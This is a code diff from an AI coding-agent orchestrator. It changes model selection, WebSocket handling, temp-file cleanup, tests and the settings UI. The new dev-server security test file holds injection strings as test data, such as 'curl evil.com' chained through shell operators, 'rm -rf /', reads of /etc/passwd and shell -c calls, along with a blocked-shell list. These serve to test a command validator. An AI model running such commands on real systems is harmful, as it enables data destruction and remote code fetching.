||||
sdk_env[var] = value
|
||||
from registry import DEFAULT_MODEL, get_effective_sdk_env
|
||||
sdk_env = get_effective_sdk_env()
|
||||
|
||||
# Determine model from environment or use default
|
||||
# This allows using alternative APIs (e.g., GLM via z.ai) that may not support Claude model names
|
||||
model = os.getenv("ANTHROPIC_DEFAULT_OPUS_MODEL", "claude-opus-4-5-20251101")
|
||||
# Determine model from SDK env (provider-aware) or fallback to env/default
|
||||
model = sdk_env.get("ANTHROPIC_DEFAULT_OPUS_MODEL") or os.getenv("ANTHROPIC_DEFAULT_OPUS_MODEL", DEFAULT_MODEL)
|
||||
|
||||
try:
|
||||
self.client = ClaudeSDKClient(
|
||||
|
||||
@@ -640,9 +640,7 @@ class ConnectionManager:
|
||||
self._lock = asyncio.Lock()
|
||||
|
||||
async def connect(self, websocket: WebSocket, project_name: str):
|
||||
"""Accept a WebSocket connection for a project."""
|
||||
await websocket.accept()
|
||||
|
||||
"""Register a WebSocket connection for a project (must already be accepted)."""
|
||||
async with self._lock:
|
||||
if project_name not in self.active_connections:
|
||||
self.active_connections[project_name] = set()
|
||||
@@ -727,16 +725,22 @@ async def project_websocket(websocket: WebSocket, project_name: str):
|
||||
- Agent status changes
|
||||
- Agent stdout/stderr lines
|
||||
"""
|
||||
# Always accept WebSocket first to avoid opaque 403 errors
|
||||
await websocket.accept()
|
||||
|
||||
if not validate_project_name(project_name):
|
||||
await websocket.send_json({"type": "error", "content": "Invalid project name"})
|
||||
await websocket.close(code=4000, reason="Invalid project name")
|
||||
return
|
||||
|
||||
project_dir = _get_project_path(project_name)
|
||||
if not project_dir:
|
||||
await websocket.send_json({"type": "error", "content": "Project not found in registry"})
|
||||
await websocket.close(code=4004, reason="Project not found in registry")
|
||||
return
|
||||
|
||||
if not project_dir.exists():
|
||||
await websocket.send_json({"type": "error", "content": "Project directory not found"})
|
||||
await websocket.close(code=4004, reason="Project directory not found")
|
||||
return
|
||||
|
||||
@@ -879,8 +883,7 @@ async def project_websocket(websocket: WebSocket, project_name: str):
|
||||
break
|
||||
except json.JSONDecodeError:
|
||||
logger.warning(f"Invalid JSON from WebSocket: {data[:100] if data else 'empty'}")
|
||||
except Exception as e:
|
||||
logger.warning(f"WebSocket error: {e}")
|
||||
except Exception:
|
||||
break
|
||||
|
||||
finally:
|
||||
|
||||
148
temp_cleanup.py
Normal file
148
temp_cleanup.py
Normal file
@@ -0,0 +1,148 @@
|
||||
"""
|
||||
Temp Cleanup Module
|
||||
===================
|
||||
|
||||
Cleans up stale temporary files and directories created by AutoForge agents,
|
||||
Playwright, Node.js, and other development tools.
|
||||
|
||||
Called at Maestro (orchestrator) startup to prevent temp folder bloat.
|
||||
|
||||
Why this exists:
|
||||
- Playwright creates browser profiles and artifacts in %TEMP%
|
||||
- Node.js creates .node cache files (~7MB each, can accumulate to GBs)
|
||||
- MongoDB Memory Server downloads binaries to temp
|
||||
- These are never cleaned up automatically
|
||||
|
||||
When cleanup runs:
|
||||
- At Maestro startup (when you click Play or auto-restart after rate limits)
|
||||
- Only files/folders older than 1 hour are deleted (safe for running processes)
|
||||
"""
|
||||
|
||||
import logging
|
||||
import shutil
|
||||
import tempfile
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Max age in seconds before a temp item is considered stale (1 hour)
|
||||
MAX_AGE_SECONDS = 3600
|
||||
|
||||
# Directory patterns to clean up (glob patterns)
|
||||
DIR_PATTERNS = [
|
||||
"playwright_firefoxdev_profile-*", # Playwright Firefox profiles
|
||||
"playwright-artifacts-*", # Playwright test artifacts
|
||||
"playwright-transform-cache", # Playwright transform cache
|
||||
"mongodb-memory-server*", # MongoDB Memory Server binaries
|
||||
"ng-*", # Angular CLI temp directories
|
||||
"scoped_dir*", # Chrome/Chromium temp directories
|
||||
]
|
||||
|
||||
# File patterns to clean up (glob patterns)
|
||||
FILE_PATTERNS = [
|
||||
".78912*.node", # Node.js native module cache (major space consumer, ~7MB each)
|
||||
"claude-*-cwd", # Claude CLI working directory temp files
|
||||
"mat-debug-*.log", # Material/Angular debug logs
|
||||
]
|
||||
|
||||
|
||||
def cleanup_stale_temp(max_age_seconds: int = MAX_AGE_SECONDS) -> dict:
|
||||
"""
|
||||
Clean up stale temporary files and directories.
|
||||
|
||||
Only deletes items older than max_age_seconds to avoid
|
||||
interfering with currently running processes.
|
||||
|
||||
Args:
|
||||
max_age_seconds: Maximum age in seconds before an item is deleted.
|
||||
Defaults to 1 hour (3600 seconds).
|
||||
|
||||
Returns:
|
||||
Dictionary with cleanup statistics:
|
||||
- dirs_deleted: Number of directories deleted
|
||||
- files_deleted: Number of files deleted
|
||||
- bytes_freed: Approximate bytes freed
|
||||
- errors: List of error messages (for debugging, not fatal)
|
||||
"""
|
||||
temp_dir = Path(tempfile.gettempdir())
|
||||
cutoff_time = time.time() - max_age_seconds
|
||||
|
||||
stats = {
|
||||
"dirs_deleted": 0,
|
||||
"files_deleted": 0,
|
||||
"bytes_freed": 0,
|
||||
"errors": [],
|
||||
}
|
||||
|
||||
# Clean up directories
|
||||
for pattern in DIR_PATTERNS:
|
||||
for item in temp_dir.glob(pattern):
|
||||
if not item.is_dir():
|
||||
continue
|
||||
try:
|
||||
mtime = item.stat().st_mtime
|
||||
if mtime < cutoff_time:
|
||||
size = _get_dir_size(item)
|
||||
shutil.rmtree(item, ignore_errors=True)
|
||||
if not item.exists():
|
||||
stats["dirs_deleted"] += 1
|
||||
stats["bytes_freed"] += size
|
||||
logger.debug(f"Deleted temp directory: {item}")
|
||||
except Exception as e:
|
||||
stats["errors"].append(f"Failed to delete {item}: {e}")
|
||||
logger.debug(f"Failed to delete {item}: {e}")
|
||||
|
||||
# Clean up files
|
||||
for pattern in FILE_PATTERNS:
|
||||
for item in temp_dir.glob(pattern):
|
||||
if not item.is_file():
|
||||
continue
|
||||
try:
|
||||
mtime = item.stat().st_mtime
|
||||
if mtime < cutoff_time:
|
||||
size = item.stat().st_size
|
||||
item.unlink(missing_ok=True)
|
||||
if not item.exists():
|
||||
stats["files_deleted"] += 1
|
||||
stats["bytes_freed"] += size
|
||||
logger.debug(f"Deleted temp file: {item}")
|
||||
except Exception as e:
|
||||
stats["errors"].append(f"Failed to delete {item}: {e}")
|
||||
logger.debug(f"Failed to delete {item}: {e}")
|
||||
|
||||
# Log summary if anything was cleaned
|
||||
if stats["dirs_deleted"] > 0 or stats["files_deleted"] > 0:
|
||||
mb_freed = stats["bytes_freed"] / (1024 * 1024)
|
||||
logger.info(
|
||||
f"Temp cleanup: {stats['dirs_deleted']} dirs, "
|
||||
f"{stats['files_deleted']} files, {mb_freed:.1f} MB freed"
|
||||
)
|
||||
|
||||
return stats
|
||||
|
||||
|
||||
def _get_dir_size(path: Path) -> int:
|
||||
"""Get total size of a directory in bytes."""
|
||||
total = 0
|
||||
try:
|
||||
for item in path.rglob("*"):
|
||||
if item.is_file():
|
||||
try:
|
||||
total += item.stat().st_size
|
||||
except (OSError, PermissionError):
|
||||
pass
|
||||
except (OSError, PermissionError):
|
||||
pass
|
||||
return total
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
# Allow running directly for testing/manual cleanup
|
||||
logging.basicConfig(level=logging.DEBUG)
|
||||
print("Running temp cleanup...")
|
||||
stats = cleanup_stale_temp()
|
||||
mb_freed = stats["bytes_freed"] / (1024 * 1024)
|
||||
print(f"Cleanup complete: {stats['dirs_deleted']} dirs, {stats['files_deleted']} files, {mb_freed:.1f} MB freed")
|
||||
if stats["errors"]:
|
||||
print(f"Errors (non-fatal): {len(stats['errors'])}")
|
||||
@@ -40,15 +40,15 @@ class TestConvertModelForVertex(unittest.TestCase):
|
||||
def test_returns_model_unchanged_when_vertex_disabled(self):
|
||||
os.environ.pop("CLAUDE_CODE_USE_VERTEX", None)
|
||||
self.assertEqual(
|
||||
convert_model_for_vertex("claude-opus-4-5-20251101"),
|
||||
"claude-opus-4-5-20251101",
|
||||
convert_model_for_vertex("claude-opus-4-6"),
|
||||
"claude-opus-4-6",
|
||||
)
|
||||
|
||||
def test_returns_model_unchanged_when_vertex_set_to_zero(self):
|
||||
os.environ["CLAUDE_CODE_USE_VERTEX"] = "0"
|
||||
self.assertEqual(
|
||||
convert_model_for_vertex("claude-opus-4-5-20251101"),
|
||||
"claude-opus-4-5-20251101",
|
||||
convert_model_for_vertex("claude-opus-4-6"),
|
||||
"claude-opus-4-6",
|
||||
)
|
||||
|
||||
def test_returns_model_unchanged_when_vertex_set_to_empty(self):
|
||||
@@ -60,13 +60,20 @@ class TestConvertModelForVertex(unittest.TestCase):
|
||||
|
||||
# --- Vertex AI enabled: standard conversions ---
|
||||
|
||||
def test_converts_opus_model(self):
|
||||
def test_converts_legacy_opus_model(self):
|
||||
os.environ["CLAUDE_CODE_USE_VERTEX"] = "1"
|
||||
self.assertEqual(
|
||||
convert_model_for_vertex("claude-opus-4-5-20251101"),
|
||||
"claude-opus-4-5@20251101",
|
||||
)
|
||||
|
||||
def test_opus_4_6_passthrough_on_vertex(self):
|
||||
os.environ["CLAUDE_CODE_USE_VERTEX"] = "1"
|
||||
self.assertEqual(
|
||||
convert_model_for_vertex("claude-opus-4-6"),
|
||||
"claude-opus-4-6",
|
||||
)
|
||||
|
||||
def test_converts_sonnet_model(self):
|
||||
os.environ["CLAUDE_CODE_USE_VERTEX"] = "1"
|
||||
self.assertEqual(
|
||||
@@ -86,8 +93,8 @@ class TestConvertModelForVertex(unittest.TestCase):
|
||||
def test_already_vertex_format_unchanged(self):
|
||||
os.environ["CLAUDE_CODE_USE_VERTEX"] = "1"
|
||||
self.assertEqual(
|
||||
convert_model_for_vertex("claude-opus-4-5@20251101"),
|
||||
"claude-opus-4-5@20251101",
|
||||
convert_model_for_vertex("claude-sonnet-4-5@20250929"),
|
||||
"claude-sonnet-4-5@20250929",
|
||||
)
|
||||
|
||||
def test_non_claude_model_unchanged(self):
|
||||
@@ -100,8 +107,8 @@ class TestConvertModelForVertex(unittest.TestCase):
|
||||
def test_model_without_date_suffix_unchanged(self):
|
||||
os.environ["CLAUDE_CODE_USE_VERTEX"] = "1"
|
||||
self.assertEqual(
|
||||
convert_model_for_vertex("claude-opus-4-5"),
|
||||
"claude-opus-4-5",
|
||||
convert_model_for_vertex("claude-opus-4-6"),
|
||||
"claude-opus-4-6",
|
||||
)
|
||||
|
||||
def test_empty_string_unchanged(self):
|
||||
|
||||
319
test_devserver_security.py
Normal file
319
test_devserver_security.py
Normal file
@@ -0,0 +1,319 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Dev Server Security Tests
|
||||
=========================
|
||||
|
||||
Tests for dev server command validation and security hardening.
|
||||
Run with: python -m pytest test_devserver_security.py -v
|
||||
"""
|
||||
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
# Add project root to path
|
||||
sys.path.insert(0, str(Path(__file__).parent))
|
||||
|
||||
from server.routers.devserver import (
|
||||
ALLOWED_NPM_SCRIPTS,
|
||||
ALLOWED_PYTHON_MODULES,
|
||||
ALLOWED_RUNNERS,
|
||||
BLOCKED_SHELLS,
|
||||
validate_custom_command_strict,
|
||||
)
|
||||
|
||||
# =============================================================================
|
||||
# validate_custom_command_strict - Valid commands
|
||||
# =============================================================================
|
||||
|
||||
|
||||
class TestValidCommands:
|
||||
"""Commands that should pass validation."""
|
||||
|
||||
def test_npm_run_dev(self):
|
||||
validate_custom_command_strict("npm run dev")
|
||||
|
||||
def test_npm_run_start(self):
|
||||
validate_custom_command_strict("npm run start")
|
||||
|
||||
def test_npm_run_serve(self):
|
||||
validate_custom_command_strict("npm run serve")
|
||||
|
||||
def test_npm_run_preview(self):
|
||||
validate_custom_command_strict("npm run preview")
|
||||
|
||||
def test_pnpm_dev(self):
|
||||
validate_custom_command_strict("pnpm dev")
|
||||
|
||||
def test_pnpm_run_dev(self):
|
||||
validate_custom_command_strict("pnpm run dev")
|
||||
|
||||
def test_yarn_start(self):
|
||||
validate_custom_command_strict("yarn start")
|
||||
|
||||
def test_yarn_run_serve(self):
|
||||
validate_custom_command_strict("yarn run serve")
|
||||
|
||||
def test_uvicorn_basic(self):
|
||||
validate_custom_command_strict("uvicorn main:app")
|
||||
|
||||
def test_uvicorn_with_flags(self):
|
||||
validate_custom_command_strict("uvicorn main:app --host 0.0.0.0 --port 8000 --reload")
|
||||
|
||||
def test_uvicorn_flag_equals_syntax(self):
|
||||
validate_custom_command_strict("uvicorn main:app --port=8000 --host=0.0.0.0")
|
||||
|
||||
def test_python_m_uvicorn(self):
|
||||
validate_custom_command_strict("python -m uvicorn main:app --reload")
|
||||
|
||||
def test_python3_m_uvicorn(self):
|
||||
validate_custom_command_strict("python3 -m uvicorn main:app")
|
||||
|
||||
def test_python_m_flask(self):
|
||||
validate_custom_command_strict("python -m flask run")
|
||||
|
||||
def test_python_m_gunicorn(self):
|
||||
validate_custom_command_strict("python -m gunicorn main:app")
|
||||
|
||||
def test_python_m_http_server(self):
|
||||
validate_custom_command_strict("python -m http.server 8000")
|
||||
|
||||
def test_python_script(self):
|
||||
validate_custom_command_strict("python app.py")
|
||||
|
||||
def test_python_manage_py_runserver(self):
|
||||
validate_custom_command_strict("python manage.py runserver")
|
||||
|
||||
def test_python_manage_py_runserver_with_port(self):
|
||||
validate_custom_command_strict("python manage.py runserver 0.0.0.0:8000")
|
||||
|
||||
def test_flask_run(self):
|
||||
validate_custom_command_strict("flask run")
|
||||
|
||||
def test_flask_run_with_options(self):
|
||||
validate_custom_command_strict("flask run --host 0.0.0.0 --port 5000")
|
||||
|
||||
def test_poetry_run_command(self):
|
||||
validate_custom_command_strict("poetry run python app.py")
|
||||
|
||||
def test_cargo_run(self):
|
||||
# cargo is allowed but has no special sub-validation
|
||||
validate_custom_command_strict("cargo run")
|
||||
|
||||
def test_go_run(self):
|
||||
# go is allowed but has no special sub-validation
|
||||
validate_custom_command_strict("go run .")
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# validate_custom_command_strict - Blocked shells
|
||||
# =============================================================================
|
||||
|
||||
|
||||
class TestBlockedShells:
|
||||
"""Shell interpreters that must be rejected."""
|
||||
|
||||
@pytest.mark.parametrize("shell", ["sh", "bash", "zsh", "cmd", "powershell", "pwsh", "cmd.exe"])
|
||||
def test_blocked_shell(self, shell):
|
||||
with pytest.raises(ValueError, match="runner not allowed"):
|
||||
validate_custom_command_strict(f"{shell} -c 'echo hacked'")
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# validate_custom_command_strict - Blocked commands
|
||||
# =============================================================================
|
||||
|
||||
|
||||
class TestBlockedCommands:
|
||||
"""Commands that should be rejected."""
|
||||
|
||||
def test_empty_command(self):
|
||||
with pytest.raises(ValueError, match="cannot be empty"):
|
||||
validate_custom_command_strict("")
|
||||
|
||||
def test_whitespace_only(self):
|
||||
with pytest.raises(ValueError, match="cannot be empty"):
|
||||
validate_custom_command_strict(" ")
|
||||
|
||||
def test_python_dash_c(self):
|
||||
with pytest.raises(ValueError, match="python -c is not allowed"):
|
||||
validate_custom_command_strict("python -c 'import os; os.system(\"rm -rf /\")'")
|
||||
|
||||
def test_python3_dash_c(self):
|
||||
with pytest.raises(ValueError, match="python -c is not allowed"):
|
||||
validate_custom_command_strict("python3 -c 'print(1)'")
|
||||
|
||||
def test_python_no_script_or_module(self):
|
||||
with pytest.raises(ValueError, match="must use"):
|
||||
validate_custom_command_strict("python --version")
|
||||
|
||||
def test_python_m_disallowed_module(self):
|
||||
with pytest.raises(ValueError, match="not allowed"):
|
||||
validate_custom_command_strict("python -m pip install something")
|
||||
|
||||
def test_unknown_runner(self):
|
||||
with pytest.raises(ValueError, match="runner not allowed"):
|
||||
validate_custom_command_strict("curl http://evil.com")
|
||||
|
||||
def test_rm_rf(self):
|
||||
with pytest.raises(ValueError, match="runner not allowed"):
|
||||
validate_custom_command_strict("rm -rf /")
|
||||
|
||||
def test_npm_arbitrary_script(self):
|
||||
with pytest.raises(ValueError, match="npm custom_command"):
|
||||
validate_custom_command_strict("npm run postinstall")
|
||||
|
||||
def test_npm_exec(self):
|
||||
with pytest.raises(ValueError, match="npm custom_command"):
|
||||
validate_custom_command_strict("npm exec evil-package")
|
||||
|
||||
def test_pnpm_arbitrary_script(self):
|
||||
with pytest.raises(ValueError, match="pnpm custom_command"):
|
||||
validate_custom_command_strict("pnpm run postinstall")
|
||||
|
||||
def test_yarn_arbitrary_script(self):
|
||||
with pytest.raises(ValueError, match="yarn custom_command"):
|
||||
validate_custom_command_strict("yarn run postinstall")
|
||||
|
||||
def test_uvicorn_no_app(self):
|
||||
with pytest.raises(ValueError, match="must specify an app"):
|
||||
validate_custom_command_strict("uvicorn --reload")
|
||||
|
||||
def test_uvicorn_disallowed_flag(self):
|
||||
with pytest.raises(ValueError, match="flag not allowed"):
|
||||
validate_custom_command_strict("uvicorn main:app --factory")
|
||||
|
||||
def test_flask_no_run(self):
|
||||
with pytest.raises(ValueError, match="flask custom_command"):
|
||||
validate_custom_command_strict("flask shell")
|
||||
|
||||
def test_poetry_no_run(self):
|
||||
with pytest.raises(ValueError, match="poetry custom_command"):
|
||||
validate_custom_command_strict("poetry install")
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# validate_custom_command_strict - Injection attempts
|
||||
# =============================================================================
|
||||
|
||||
|
||||
class TestInjectionAttempts:
|
||||
"""Adversarial inputs that attempt to bypass validation."""
|
||||
|
||||
def test_shell_via_path_traversal(self):
|
||||
with pytest.raises(ValueError, match="runner not allowed"):
|
||||
validate_custom_command_strict("/bin/sh -c 'echo hacked'")
|
||||
|
||||
def test_shell_via_relative_path(self):
|
||||
with pytest.raises(ValueError, match="runner not allowed"):
|
||||
validate_custom_command_strict("../../bin/bash -c whoami")
|
||||
|
||||
def test_none_input(self):
|
||||
with pytest.raises(ValueError, match="cannot be empty"):
|
||||
validate_custom_command_strict(None) # type: ignore[arg-type]
|
||||
|
||||
def test_integer_input(self):
|
||||
with pytest.raises(ValueError, match="cannot be empty"):
|
||||
validate_custom_command_strict(123) # type: ignore[arg-type]
|
||||
|
||||
def test_python_dash_c_uppercase(self):
|
||||
with pytest.raises(ValueError, match="python -c is not allowed"):
|
||||
validate_custom_command_strict("python -C 'exec(evil)'")
|
||||
|
||||
def test_powershell_via_path(self):
|
||||
with pytest.raises(ValueError, match="runner not allowed"):
|
||||
validate_custom_command_strict("C:\\Windows\\System32\\powershell.exe -c Get-Process")
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# dev_server_manager.py - dangerous_ops blocking
|
||||
# =============================================================================
|
||||
|
||||
|
||||
class TestDangerousOpsBlocking:
|
||||
"""Test the metacharacter blocking in dev_server_manager.start()."""
|
||||
|
||||
@pytest.fixture
|
||||
def manager(self, tmp_path):
|
||||
from server.services.dev_server_manager import DevServerProcessManager
|
||||
return DevServerProcessManager("test-project", tmp_path)
|
||||
|
||||
@pytest.mark.asyncio
|
||||
@pytest.mark.parametrize("cmd,desc", [
|
||||
("npm run dev && curl evil.com", "double ampersand"),
|
||||
("npm run dev & curl evil.com", "single ampersand"),
|
||||
("npm run dev || curl evil.com", "double pipe"),
|
||||
("npm run dev | curl evil.com", "single pipe"),
|
||||
("npm run dev ; curl evil.com", "semicolon"),
|
||||
("npm run dev `curl evil.com`", "backtick"),
|
||||
("npm run dev $(curl evil.com)", "dollar paren"),
|
||||
("npm run dev > /etc/passwd", "output redirect"),
|
||||
("npm run dev < /etc/passwd", "input redirect"),
|
||||
("npm run dev ^& calc", "caret escape"),
|
||||
("npm run %COMSPEC%", "percent env expansion"),
|
||||
])
|
||||
async def test_blocks_shell_operator(self, manager, cmd, desc):
|
||||
success, message = await manager.start(cmd)
|
||||
assert not success, f"Should block {desc}: {cmd}"
|
||||
assert "not allowed" in message.lower()
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_blocks_newline_injection(self, manager):
|
||||
success, message = await manager.start("npm run dev\ncurl evil.com")
|
||||
assert not success
|
||||
assert "newline" in message.lower()
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_blocks_carriage_return(self, manager):
|
||||
success, message = await manager.start("npm run dev\r\ncurl evil.com")
|
||||
assert not success
|
||||
assert "newline" in message.lower()
|
||||
|
||||
@pytest.mark.asyncio
|
||||
@pytest.mark.parametrize("shell", ["sh", "bash", "zsh", "cmd", "powershell", "pwsh"])
|
||||
async def test_blocks_shell_runners(self, manager, shell):
|
||||
success, message = await manager.start(f"{shell} -c 'echo hacked'")
|
||||
assert not success
|
||||
assert "not allowed" in message.lower()
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_blocks_empty_command(self, manager):
|
||||
success, message = await manager.start("")
|
||||
assert not success
|
||||
assert "empty" in message.lower()
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_blocks_whitespace_command(self, manager):
|
||||
success, message = await manager.start(" ")
|
||||
assert not success
|
||||
assert "empty" in message.lower()
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# Constants validation
|
||||
# =============================================================================
|
||||
|
||||
|
||||
class TestConstants:
|
||||
"""Verify security constants are properly defined."""
|
||||
|
||||
def test_all_common_shells_blocked(self):
|
||||
for shell in ["sh", "bash", "zsh", "cmd", "powershell", "pwsh", "cmd.exe"]:
|
||||
assert shell in BLOCKED_SHELLS, f"{shell} should be in BLOCKED_SHELLS"
|
||||
|
||||
def test_common_npm_scripts_allowed(self):
|
||||
for script in ["dev", "start", "serve", "preview"]:
|
||||
assert script in ALLOWED_NPM_SCRIPTS, f"{script} should be in ALLOWED_NPM_SCRIPTS"
|
||||
|
||||
def test_common_python_modules_allowed(self):
|
||||
for mod in ["uvicorn", "flask", "gunicorn"]:
|
||||
assert mod in ALLOWED_PYTHON_MODULES, f"{mod} should be in ALLOWED_PYTHON_MODULES"
|
||||
|
||||
def test_common_runners_allowed(self):
|
||||
for runner in ["npm", "pnpm", "yarn", "python", "python3", "uvicorn", "flask", "cargo", "go"]:
|
||||
assert runner in ALLOWED_RUNNERS, f"{runner} should be in ALLOWED_RUNNERS"
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
pytest.main([__file__, "-v"])
|
||||
8
ui/package-lock.json
generated
8
ui/package-lock.json
generated
@@ -20,6 +20,7 @@
|
||||
"@xterm/addon-web-links": "^0.12.0",
|
||||
"@xterm/xterm": "^6.0.0",
|
||||
"@xyflow/react": "^12.10.0",
|
||||
"autoforge-ai": "file:..",
|
||||
"canvas-confetti": "^1.9.4",
|
||||
"class-variance-authority": "^0.7.1",
|
||||
"clsx": "^2.1.1",
|
||||
@@ -52,8 +53,7 @@
|
||||
},
|
||||
"..": {
|
||||
"name": "autoforge-ai",
|
||||
"version": "0.1.0",
|
||||
"extraneous": true,
|
||||
"version": "0.1.5",
|
||||
"license": "AGPL-3.0",
|
||||
"bin": {
|
||||
"autoforge": "bin/autoforge.js"
|
||||
@@ -3148,6 +3148,10 @@
|
||||
"node": ">=10"
|
||||
}
|
||||
},
|
||||
"node_modules/autoforge-ai": {
|
||||
"resolved": "..",
|
||||
"link": true
|
||||
},
|
||||
"node_modules/balanced-match": {
|
||||
"version": "1.0.2",
|
||||
"resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
|
||||
|
||||
@@ -24,6 +24,7 @@
|
||||
"@xterm/addon-web-links": "^0.12.0",
|
||||
"@xterm/xterm": "^6.0.0",
|
||||
"@xyflow/react": "^12.10.0",
|
||||
"autoforge-ai": "file:..",
|
||||
"canvas-confetti": "^1.9.4",
|
||||
"class-variance-authority": "^0.7.1",
|
||||
"clsx": "^2.1.1",
|
||||
|
||||
@@ -178,8 +178,8 @@ function App() {
|
||||
setShowAddFeature(true)
|
||||
}
|
||||
|
||||
// E : Expand project with AI (when project selected and has features)
|
||||
if ((e.key === 'e' || e.key === 'E') && selectedProject && features &&
|
||||
// E : Expand project with AI (when project selected, has spec and has features)
|
||||
if ((e.key === 'e' || e.key === 'E') && selectedProject && hasSpec && features &&
|
||||
(features.pending.length + features.in_progress.length + features.done.length) > 0) {
|
||||
e.preventDefault()
|
||||
setShowExpandProject(true)
|
||||
@@ -239,7 +239,7 @@ function App() {
|
||||
|
||||
window.addEventListener('keydown', handleKeyDown)
|
||||
return () => window.removeEventListener('keydown', handleKeyDown)
|
||||
}, [selectedProject, showAddFeature, showExpandProject, selectedFeature, debugOpen, debugActiveTab, assistantOpen, features, showSettings, showKeyboardHelp, isSpecCreating, viewMode, showResetModal, wsState.agentStatus])
|
||||
}, [selectedProject, showAddFeature, showExpandProject, selectedFeature, debugOpen, debugActiveTab, assistantOpen, features, showSettings, showKeyboardHelp, isSpecCreating, viewMode, showResetModal, wsState.agentStatus, hasSpec])
|
||||
|
||||
// Combine WebSocket progress with feature data
|
||||
const progress = wsState.progress.total > 0 ? wsState.progress : {
|
||||
@@ -319,7 +319,7 @@ function App() {
|
||||
{settings?.ollama_mode && (
|
||||
<div
|
||||
className="flex items-center gap-1.5 px-2 py-1 bg-card rounded border-2 border-border shadow-sm"
|
||||
title="Using Ollama local models (configured via .env)"
|
||||
title="Using Ollama local models"
|
||||
>
|
||||
<img src="/ollama.png" alt="Ollama" className="w-5 h-5" />
|
||||
<span className="text-xs font-bold text-foreground">Ollama</span>
|
||||
@@ -330,7 +330,7 @@ function App() {
|
||||
{settings?.glm_mode && (
|
||||
<Badge
|
||||
className="bg-purple-500 text-white hover:bg-purple-600"
|
||||
title="Using GLM API (configured via .env)"
|
||||
title="Using GLM API"
|
||||
>
|
||||
GLM
|
||||
</Badge>
|
||||
@@ -490,7 +490,7 @@ function App() {
|
||||
)}
|
||||
|
||||
{/* Expand Project Modal - AI-powered bulk feature creation */}
|
||||
{showExpandProject && selectedProject && (
|
||||
{showExpandProject && selectedProject && hasSpec && (
|
||||
<ExpandProjectModal
|
||||
isOpen={showExpandProject}
|
||||
projectName={selectedProject}
|
||||
|
||||
@@ -51,7 +51,7 @@ export function KanbanBoard({ features, onFeatureClick, onAddFeature, onExpandPr
|
||||
onFeatureClick={onFeatureClick}
|
||||
onAddFeature={onAddFeature}
|
||||
onExpandProject={onExpandProject}
|
||||
showExpandButton={hasFeatures}
|
||||
showExpandButton={hasFeatures && hasSpec}
|
||||
onCreateSpec={onCreateSpec}
|
||||
showCreateSpec={!hasSpec && !hasFeatures}
|
||||
/>
|
||||
|
||||
@@ -19,7 +19,7 @@ const shortcuts: Shortcut[] = [
|
||||
{ key: 'D', description: 'Toggle debug panel' },
|
||||
{ key: 'T', description: 'Toggle terminal tab' },
|
||||
{ key: 'N', description: 'Add new feature', context: 'with project' },
|
||||
{ key: 'E', description: 'Expand project with AI', context: 'with features' },
|
||||
{ key: 'E', description: 'Expand project with AI', context: 'with spec & features' },
|
||||
{ key: 'A', description: 'Toggle AI assistant', context: 'with project' },
|
||||
{ key: 'G', description: 'Toggle Kanban/Graph view', context: 'with project' },
|
||||
{ key: ',', description: 'Open settings' },
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
import { Loader2, AlertCircle, Check, Moon, Sun } from 'lucide-react'
|
||||
import { useSettings, useUpdateSettings, useAvailableModels } from '../hooks/useProjects'
|
||||
import { useState } from 'react'
|
||||
import { Loader2, AlertCircle, Check, Moon, Sun, Eye, EyeOff, ShieldCheck } from 'lucide-react'
|
||||
import { useSettings, useUpdateSettings, useAvailableModels, useAvailableProviders } from '../hooks/useProjects'
|
||||
import { useTheme, THEMES } from '../hooks/useTheme'
|
||||
import type { ProviderInfo } from '../lib/types'
|
||||
import {
|
||||
Dialog,
|
||||
DialogContent,
|
||||
@@ -17,12 +19,26 @@ interface SettingsModalProps {
|
||||
onClose: () => void
|
||||
}
|
||||
|
||||
const PROVIDER_INFO_TEXT: Record<string, string> = {
|
||||
claude: 'Default provider. Uses your Claude CLI credentials.',
|
||||
kimi: 'Get an API key at kimi.com',
|
||||
glm: 'Get an API key at open.bigmodel.cn',
|
||||
ollama: 'Run models locally. Install from ollama.com',
|
||||
custom: 'Connect to any OpenAI-compatible API endpoint.',
|
||||
}
|
||||
|
||||
export function SettingsModal({ isOpen, onClose }: SettingsModalProps) {
|
||||
const { data: settings, isLoading, isError, refetch } = useSettings()
|
||||
const { data: modelsData } = useAvailableModels()
|
||||
const { data: providersData } = useAvailableProviders()
|
||||
const updateSettings = useUpdateSettings()
|
||||
const { theme, setTheme, darkMode, toggleDarkMode } = useTheme()
|
||||
|
||||
const [showAuthToken, setShowAuthToken] = useState(false)
|
||||
const [authTokenInput, setAuthTokenInput] = useState('')
|
||||
const [customModelInput, setCustomModelInput] = useState('')
|
||||
const [customBaseUrlInput, setCustomBaseUrlInput] = useState('')
|
||||
|
||||
const handleYoloToggle = () => {
|
||||
if (settings && !updateSettings.isPending) {
|
||||
updateSettings.mutate({ yolo_mode: !settings.yolo_mode })
|
||||
@@ -31,7 +47,7 @@ export function SettingsModal({ isOpen, onClose }: SettingsModalProps) {
|
||||
|
||||
const handleModelChange = (modelId: string) => {
|
||||
if (!updateSettings.isPending) {
|
||||
updateSettings.mutate({ model: modelId })
|
||||
updateSettings.mutate({ api_model: modelId })
|
||||
}
|
||||
}
|
||||
|
||||
@@ -47,12 +63,51 @@ export function SettingsModal({ isOpen, onClose }: SettingsModalProps) {
|
||||
}
|
||||
}
|
||||
|
||||
const handleProviderChange = (providerId: string) => {
|
||||
if (!updateSettings.isPending) {
|
||||
updateSettings.mutate({ api_provider: providerId })
|
||||
// Reset local state
|
||||
setAuthTokenInput('')
|
||||
setShowAuthToken(false)
|
||||
setCustomModelInput('')
|
||||
setCustomBaseUrlInput('')
|
||||
}
|
||||
}
|
||||
|
||||
const handleSaveAuthToken = () => {
|
||||
if (authTokenInput.trim() && !updateSettings.isPending) {
|
